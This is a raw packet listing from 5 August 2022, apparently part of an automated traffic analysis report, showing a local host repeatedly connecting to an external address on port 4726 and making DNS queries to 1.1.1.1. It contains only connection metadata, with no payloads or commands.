Aug 5, 2022 11:40:01.048489094 CEST	4726	49885	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:01.126827002 CEST	49885	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.162801027 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.214261055 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:05.214498997 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.214833021 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.274602890 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:05.274923086 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.360913992 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:05.361150026 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.413031101 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:05.453860044 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.485924006 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.579998970 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:05.580240965 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.673326015 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:05.674638987 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:05.675278902 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.726747036 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:05.726867914 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.814138889 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:05.814457893 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.866697073 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:05.906991005 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.907090902 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:05.958837986 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:06.000710011 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:06.001550913 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:06.032026052 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:06.126754045 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:06.157000065 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:06.251617908 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:06.251840115 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:06.345503092 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:06.375716925 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:06.470614910 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:06.470860958 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:06.564193964 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:06.610147953 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:06.704864025 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:06.705113888 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:06.798393965 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:06.813055992 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:06.907744884 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:06.907839060 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:07.001471996 CEST	4726	49886	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:07.016113997 CEST	49886	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.149652004 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.197205067 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:11.197429895 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.197737932 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.252590895 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:11.252968073 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.300318003 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:11.300513029 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.376667976 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:11.376997948 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.454912901 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:11.515188932 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.565210104 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:11.565851927 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.613055944 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:11.613240957 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.660305023 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:11.660659075 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.708363056 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:11.708575010 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.755965948 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:11.796314001 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.796416044 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:11.876822948 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:11.952557087 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:12.032946110 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:12.033298016 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:12.111105919 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:12.171369076 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:12.251517057 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:12.251821995 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:12.329812050 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:12.358824015 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:12.439174891 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:12.515029907 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:12.595192909 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:12.595464945 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:12.673399925 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:12.702322960 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:12.782792091 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:12.796087980 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:12.876393080 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:12.952394962 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:13.014832973 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:13.032665968 CEST	4726	49887	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:13.032833099 CEST	49887	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.042331934 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.090003014 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.090198040 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.090533018 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.145282984 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.145526886 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.193188906 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.217111111 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.298300982 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.298484087 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.376621008 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.404496908 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.485867977 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.486068010 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.487143040 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.529381037 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.533616066 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.533781052 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.610917091 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.611253977 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.659265995 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.701262951 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.732615948 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.748992920 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.794977903 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.814337969 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.857476950 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:17.939011097 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:17.939199924 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:18.016890049 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:18.076200008 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:18.157840014 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:18.158175945 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:18.251553059 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:18.310580969 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:18.392098904 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:18.392250061 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:18.485755920 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:18.513561010 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:18.595205069 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:18.595400095 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:18.688864946 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:18.716662884 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:18.798358917 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:18.857309103 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:18.919787884 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:18.938930988 CEST	4726	49888	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:18.939074039 CEST	49888	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:22.947706938 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:22.999036074 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:22.999219894 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:22.999504089 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.057151079 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.057482958 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.109074116 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.109317064 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.189110041 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.189317942 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.267282009 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.267669916 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.360696077 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.360902071 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.377618074 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.411822081 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.412094116 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.501559973 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.501883030 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.553738117 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.606183052 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.653147936 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.657516003 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.699923992 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.736079931 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.736320019 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.829715014 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.871808052 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:23.970057964 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:23.996795893 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:24.095396996 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:24.095577002 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:24.188925028 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:24.215508938 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:24.298257113 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:24.298516035 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:24.392060995 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:24.402945042 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:24.501348019 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:24.501477957 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:24.595213890 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:24.595375061 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:24.689086914 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:24.715388060 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:24.814132929 CEST	4726	49889	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:24.855990887 CEST	49889	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:28.883452892 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:28.935194016 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:28.935367107 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:28.935779095 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:28.995474100 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:28.995774031 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:29.079809904 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:29.080090046 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:29.132183075 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:29.132500887 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:29.220252037 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:29.220449924 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:29.298418045 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:29.355066061 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:29.409646988 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:29.410387993 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:29.462001085 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:29.462354898 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:29.548238039 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:29.548425913 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:29.599992990 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:29.600465059 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:29.651933908 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:29.683106899 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:29.767206907 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:29.767373085 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:29.860964060 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:29.861124992 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:29.939049006 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:30.011403084 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:30.095166922 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:30.095376015 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:30.173589945 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:30.214226961 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:30.298388004 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:30.298621893 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:30.392205954 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:30.417356014 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:30.501646996 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:30.558089018 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:30.642298937 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:30.642556906 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:30.736047983 CEST	4726	49890	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:30.760998964 CEST	49890	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:34.789716959 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:34.837430954 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:34.837642908 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:34.838222027 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:34.896780014 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:34.896935940 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:34.971148968 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:34.971489906 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:35.019632101 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:35.025718927 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:35.111725092 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:35.111963034 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:35.189368010 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:35.213097095 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:35.298837900 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:35.300271034 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:35.300930977 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:35.348562002 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:35.349153042 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:35.396873951 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:35.397089005 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:35.444717884 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:35.444904089 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:35.517472982 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:35.572294950 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:35.658008099 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:35.658134937 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:35.737066031 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:35.759835005 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:35.829906940 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:35.853518963 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:35.923604965 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:36.009675026 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:36.019006968 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:36.072247982 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:36.095732927 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:36.095923901 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:36.173873901 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:36.212970972 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:36.298865080 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:36.353501081 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:36.439341068 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:36.439517021 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:36.517549992 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:36.556679010 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:36.642664909 CEST	4726	49891	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:36.681694031 CEST	49891	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:40.813015938 CEST	49892	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:40.860488892 CEST	4726	49892	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:40.860697031 CEST	49892	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:40.860829115 CEST	49892	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:40.909394979 CEST	4726	49892	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:40.961652994 CEST	49892	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:41.009076118 CEST	4726	49892	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:41.009299040 CEST	49892	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:41.057054043 CEST	4726	49892	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:41.057569981 CEST	49892	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:41.142327070 CEST	4726	49892	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:41.253315926 CEST	4726	49892	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:41.253714085 CEST	49892	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:41.301372051 CEST	4726	49892	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:41.302057028 CEST	49892	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:41.349997044 CEST	4726	49892	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:41.350193024 CEST	49892	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:41.397805929 CEST	4726	49892	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:41.445883989 CEST	49892	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:40:44.143064022 CEST	4726	49892	188.127.230.176	192.168.11.20
Aug 5, 2022 11:40:44.195348978 CEST	49892	4726	192.168.11.20	188.127.230.176

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2022 11:32:57.904799938 CEST	55232	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:32:57.913872957 CEST	53	55232	1.1.1.1	192.168.11.20
Aug 5, 2022 11:32:58.583528042 CEST	62809	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:32:58.621520996 CEST	53	62809	1.1.1.1	192.168.11.20
Aug 5, 2022 11:33:00.786587000 CEST	62021	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:33:00.911015034 CEST	53	62021	1.1.1.1	192.168.11.20
Aug 5, 2022 11:33:07.131448984 CEST	49997	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:33:07.255804062 CEST	53	49997	1.1.1.1	192.168.11.20
Aug 5, 2022 11:33:13.592540026 CEST	54559	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:33:13.717253923 CEST	53	54559	1.1.1.1	192.168.11.20
Aug 5, 2022 11:33:20.015330076 CEST	59529	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:33:20.131943941 CEST	53	59529	1.1.1.1	192.168.11.20
Aug 5, 2022 11:33:26.601202965 CEST	53180	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:33:26.716433048 CEST	53	53180	1.1.1.1	192.168.11.20
Aug 5, 2022 11:33:33.132432938 CEST	64465	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:33:33.256779909 CEST	53	64465	1.1.1.1	192.168.11.20
Aug 5, 2022 11:33:39.879178047 CEST	58479	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:33:40.003887892 CEST	53	58479	1.1.1.1	192.168.11.20
Aug 5, 2022 11:33:46.304721117 CEST	51159	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:33:46.431785107 CEST	53	51159	1.1.1.1	192.168.11.20
Aug 5, 2022 11:33:52.573375940 CEST	60385	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:33:52.688828945 CEST	53	60385	1.1.1.1	192.168.11.20
Aug 5, 2022 11:33:59.279649973 CEST	61110	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:33:59.289171934 CEST	53	61110	1.1.1.1	192.168.11.20
Aug 5, 2022 11:34:06.190618992 CEST	52864	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:34:06.200170040 CEST	53	52864	1.1.1.1	192.168.11.20
